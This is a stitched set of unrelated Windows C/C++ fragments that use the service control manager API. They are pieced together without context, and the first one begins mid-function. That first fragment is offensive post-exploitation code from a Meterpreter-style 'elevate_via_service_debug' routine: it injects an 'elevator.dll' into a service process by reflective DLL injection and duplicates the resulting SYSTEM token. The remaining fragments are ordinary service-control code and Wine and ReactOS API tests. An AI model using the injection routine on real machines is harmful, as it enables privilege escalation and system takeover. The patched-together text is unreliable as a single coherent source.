break; dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId ); _snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) break; if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) break; // we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed. if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 ) break; // get the exit code for our injected elevator.dll if( !GetExitCodeThread( hThread, &dwExitCode ) ) break; // if the exit code was successfull we have been given a local system token, so we duplicate it // as a primary token for use by metsrv if( dwExitCode == ERROR_SUCCESS ) { if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) ) { if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { core_update_thread_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } } } } while( 0 ); CLOSE_SERVICE_HANDLE( hService ); CLOSE_HANDLE( hProcess ); CLOSE_HANDLE( hThread ); CLOSE_HANDLE( hToken ); if( dwResult == ERROR_SUCCESS ) break; } } while( 0 ); CLOSE_SERVICE_HANDLE( hManager ); if( lpServices ) free( lpServices ); SetLastError( dwResult ); return dwResult; }
// // FUNCTION: CmdControlService() // // PURPOSE: Controls the service // // PARAMETERS: // // lpszServerName - Target server name. NULL for local machine // // RETURN VALUE: // none // // COMMENTS: // bool CNTService::Control(DWORD dwControl) { SC_HANDLE ServiceHandle; SC_HANDLE ServiceManager; switch(dwControl) { case SERVICE_CONTROL_STOP: cout << "Attempting to stop " << m_ServiceDisplayName << " ..." << endl; break; case SERVICE_CONTROL_PAUSE: cout << "Attempting to suspend " << m_ServiceDisplayName << " ..." << endl; break; case SERVICE_CONTROL_CONTINUE: cout << "Attempting to resume " << m_ServiceDisplayName << " ..." << endl; break; } ServiceManager = OpenSCManagerA( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if ( !ServiceManager ) { cout << "OpenSCManager failed." << endl; CObject::ShowLastError(); return false; } ServiceHandle = OpenServiceA(ServiceManager, m_ServiceName.GetBuffer(), SERVICE_ALL_ACCESS); if (!ServiceHandle) { cout << "OpenService failed." << endl; CObject::ShowLastError(); CloseServiceHandle (ServiceManager); return false; } if ( !ControlService( ServiceHandle, dwControl, &m_ServiceStatus)) { cout << "ControlService failed." << endl; CObject::ShowLastError(); CloseServiceHandle (ServiceManager); CloseServiceHandle (ServiceHandle); return false; } switch(dwControl) { case SERVICE_CONTROL_STOP: cout << "Stopping " << m_ServiceDisplayName << " ..." << endl; break; case SERVICE_CONTROL_PAUSE: cout << "Suspending " << m_ServiceDisplayName << " ..." << endl; break; case SERVICE_CONTROL_CONTINUE: cout << "Resuming " << m_ServiceDisplayName << " ..." << endl; break; } base_sleep(1); while( QueryServiceStatus( ServiceHandle, &m_ServiceStatus) ) { if (((dwControl == SERVICE_CONTROL_STOP) && (m_ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING)) || ((dwControl == SERVICE_CONTROL_PAUSE) && (m_ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING)) || ((dwControl == SERVICE_CONTROL_CONTINUE) && (m_ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING)) ) { cout << '.'; cout.flush(); base_sleep(1); } else break; } switch(dwControl) { case SERVICE_CONTROL_STOP : if (m_ServiceStatus.dwCurrentState == SERVICE_STOPPED) cout << m_ServiceDisplayName << " stopped." << endl; else cout << m_ServiceDisplayName << " failed to stop." << endl; break; case SERVICE_CONTROL_PAUSE: if (m_ServiceStatus.dwCurrentState == SERVICE_PAUSED) cout << m_ServiceDisplayName << " suspended." << endl; else cout << m_ServiceDisplayName << " failed to suspend." << endl; break; case SERVICE_CONTROL_CONTINUE: if (m_ServiceStatus.dwCurrentState == SERVICE_RUNNING) cout << m_ServiceDisplayName << " resumed." << endl; else cout << m_ServiceDisplayName << " failed to resume." << endl; break; } CloseServiceHandle (ServiceManager); CloseServiceHandle (ServiceHandle); return true; }
// // FUNCTION: CmdRemoveService() // // PURPOSE: Stops and removes the service // // PARAMETERS: // none // // RETURN VALUE: // none // // COMMENTS: // bool CNTService::Remove(void) { SC_HANDLE ServiceHandle; SC_HANDLE ServiceManager; cout << "Attempting to remove " << m_ServiceName << " ..." << endl; ServiceManager = OpenSCManagerA( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if ( !ServiceManager ) { cout << "OpenSCManager failed." << endl; CObject::ShowLastError(); return false; } ServiceHandle = OpenServiceA(ServiceManager, m_ServiceName.GetBuffer(), SERVICE_ALL_ACCESS); if (!ServiceHandle) { cout << "OpenService failed." << endl; CObject::ShowLastError(); CloseServiceHandle (ServiceManager); return false; } if ( ControlService( ServiceHandle, SERVICE_CONTROL_STOP, & m_ServiceStatus )) { cout << "Stopping " << m_ServiceDisplayName << endl; base_sleep(1); while( QueryServiceStatus( ServiceHandle, &m_ServiceStatus) ) { if ( m_ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING ) { cout << '.'; cout.flush(); base_sleep(1); } else break; } if ( m_ServiceStatus.dwCurrentState == SERVICE_STOPPED ) cout << m_ServiceDisplayName << " stopped." << endl; else cout << m_ServiceDisplayName << " could not be stopped." << endl; } // remove the service if( DeleteService( ServiceHandle ) ) { cout << m_ServiceDisplayName << " removed." << endl; } else { cout << "DeleteService failed." << endl; CObject::ShowLastError(); CloseServiceHandle (ServiceManager); CloseServiceHandle (ServiceHandle); return false; } CloseServiceHandle (ServiceManager); CloseServiceHandle (ServiceHandle); return true; }
static void test_driver_install(void) { HANDLE handle; SC_HANDLE scm_handle, svc_handle; BOOL ret; char path[MAX_PATH], windir[MAX_PATH], driver[MAX_PATH]; DWORD attrs; /* Minimal stuff needed */ static const char *inf = "[Version]\n" "Signature=\"$Chicago$\"\n" "[DestinationDirs]\n" "Winetest.DriverFiles=12\n" "[DefaultInstall]\n" "CopyFiles=Winetest.DriverFiles\n" "[DefaultInstall.Services]\n" "AddService=Winetest,,Winetest.Service\n" "[Winetest.Service]\n" "ServiceBinary=%12%\\winetest.sys\n" "ServiceType=1\n" "StartType=4\n" "ErrorControl=1\n" "[Winetest.DriverFiles]\n" "winetest.sys"; /* Bail out if we are on win98 */ SetLastError(0xdeadbeef); scm_handle = OpenSCManagerA(NULL, NULL, GENERIC_ALL); if (!scm_handle && (GetLastError() == ERROR_CALL_NOT_IMPLEMENTED)) { win_skip("OpenSCManagerA is not implemented, we are most likely on win9x\n"); return; } else if (!scm_handle && (GetLastError() == ERROR_ACCESS_DENIED)) { skip("Not enough rights to install the service\n"); return; } CloseServiceHandle(scm_handle); /* Place where we expect the driver to be installed */ GetWindowsDirectoryA(windir, MAX_PATH); lstrcpyA(driver, windir); lstrcatA(driver, "\\system32\\drivers\\winetest.sys"); /* Create a dummy driver file */ handle = CreateFileA("winetest.sys", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); CloseHandle(handle); create_inf_file(inffile, inf); sprintf(path, "%s\\%s", CURR_DIR, inffile); run_cmdline("DefaultInstall", 128, path); /* Driver should have been installed */ attrs = GetFileAttributesA(driver); ok(attrs != INVALID_FILE_ATTRIBUTES, "Expected driver to exist\n"); scm_handle = OpenSCManagerA(NULL, NULL, GENERIC_ALL); /* Open the service to see if it's really there */ svc_handle = OpenServiceA(scm_handle, "Winetest", DELETE); ok(svc_handle != NULL, "Service was not created\n"); SetLastError(0xdeadbeef); ret = DeleteService(svc_handle); ok(ret, "Service could not be deleted : %d\n", GetLastError()); CloseServiceHandle(svc_handle); CloseServiceHandle(scm_handle); /* File cleanup */ DeleteFileA(inffile); DeleteFileA("winetest.sys"); DeleteFileA(driver); }
/** Implement the Lua function GetCurrentConfiguration(). * * Discover some details about the service's configuration as * known to the \ref ssSCM and report them to the debug trace * while building a table from them to return. * * \param L Lua state context for the function. * \returns The number of values on the Lua stack to be returned * to the Lua caller. */ static int dbgGetCurrentConfiguration(lua_State *L) { SC_HANDLE schService; SC_HANDLE schManager; LPQUERY_SERVICE_CONFIG lpqscBuf; LPSERVICE_DESCRIPTION lpqscBuf2; DWORD dwBytesNeeded; const char *name; name = luaL_optstring(L, 1, ServiceName); SvcDebugTraceStr("Get service configuration for %s:\n", name); // Open a handle to the service. schManager = OpenSCManagerA(NULL, NULL, (0 |GENERIC_READ |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MANAGER_ENUMERATE_SERVICE )); if (schManager == NULL) return luaL_error(L, "OpenSCManager failed (%d)", GetLastError()); schService = OpenServiceA(schManager, // SCManager database name, // name of service SERVICE_QUERY_CONFIG); // need QUERY access if (schService == NULL) { CloseServiceHandle(schManager); return luaL_error(L, "OpenService failed (%d)", GetLastError()); } // Allocate buffers for the configuration information. lpqscBuf = (LPQUERY_SERVICE_CONFIG) LocalAlloc( LPTR, 8192); if (lpqscBuf == NULL) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return luaL_error(L, "Can't allocate lpqscBuf"); } lpqscBuf2 = (LPSERVICE_DESCRIPTION) LocalAlloc( LPTR, 8192); if (lpqscBuf2 == NULL) { LocalFree(lpqscBuf); CloseServiceHandle(schService); CloseServiceHandle(schManager); return luaL_error(L, "Can't allocate lpqscBuf2"); } // Get the configuration information. if (! QueryServiceConfig( schService, lpqscBuf, 8192, &dwBytesNeeded)) { LocalFree(lpqscBuf); LocalFree(lpqscBuf2); CloseServiceHandle(schService); CloseServiceHandle(schManager); return luaL_error(L, "QueryServiceConfig failed (%d)", GetLastError()); } if (! QueryServiceConfig2( schService, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpqscBuf2, 8192, &dwBytesNeeded)) { LocalFree(lpqscBuf); LocalFree(lpqscBuf2); CloseServiceHandle(schService); CloseServiceHandle(schManager); return luaL_error(L, "QueryServiceConfig2 failed (%d)", GetLastError()); } // Build a table of configuration details, // passing them to the trace log along the way lua_newtable(L); fieldstr("name", name); fieldint("ServiceType", lpqscBuf->dwServiceType); fieldint("StartType", lpqscBuf->dwStartType); fieldint("ErrorControl", lpqscBuf->dwErrorControl); fieldstr("BinaryPathName", lpqscBuf->lpBinaryPathName); if (lpqscBuf->lpLoadOrderGroup != NULL) fieldstr("LoadOrderGroup", lpqscBuf->lpLoadOrderGroup); if (lpqscBuf->dwTagId != 0) fieldint("TagId", lpqscBuf->dwTagId); if (lpqscBuf->lpDependencies != NULL) fieldstr("Dependencies", lpqscBuf->lpDependencies); if (lpqscBuf->lpServiceStartName != NULL) fieldstr("ServiceStartName", lpqscBuf->lpServiceStartName); if (lpqscBuf2->lpDescription != NULL) fieldstr("Description", lpqscBuf2->lpDescription); LocalFree(lpqscBuf); LocalFree(lpqscBuf2); CloseServiceHandle(schService); CloseServiceHandle(schManager); return 1; }
static void Test_QueryLockStatusA(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_LOCK hLock = NULL; LPQUERY_SERVICE_LOCK_STATUSA lpLockStatus = NULL; DWORD dwRequiredSize = 0; /* Firstly try to get lock status with invalid handles */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INVALID_HANDLE, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INVALID_HANDLE); ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n"); /* Open the services database without having rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Try to get lock status */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_ACCESS_DENIED, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_ACCESS_DENIED); ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n"); CloseServiceHandle(hScm); /* * Query only the lock status. */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_QUERY_LOCK_STATUS); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database wasn't previously locked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); CloseServiceHandle(hScm); /* * Now, try to lock the database and check its lock status. */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_LOCK | SC_MANAGER_QUERY_LOCK_STATUS); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database wasn't previously locked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); /* * Try again, this time with the database locked. */ SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock); ok_err(ERROR_SUCCESS); Sleep(1000); /* Wait 1 second to let lpLockStatus->dwLockDuration increment */ /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database is locked */ ok(lpLockStatus->fIsLocked != 0, "lpLockStatus->fIsLocked = %lu, expected non-zero\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner != 0, "*lpLockStatus->lpLockOwner = \"\\0\", expected non-zero\n"); ok(lpLockStatus->dwLockDuration != 0, "lpLockStatus->dwLockDuration = %lu, expected non-zero\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); /* * Last try, with the database again unlocked. */ SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); hLock = NULL; /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database is unlocked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); cleanup: if (hLock) UnlockServiceDatabase(hLock); if (hScm) CloseServiceHandle(hScm); return; }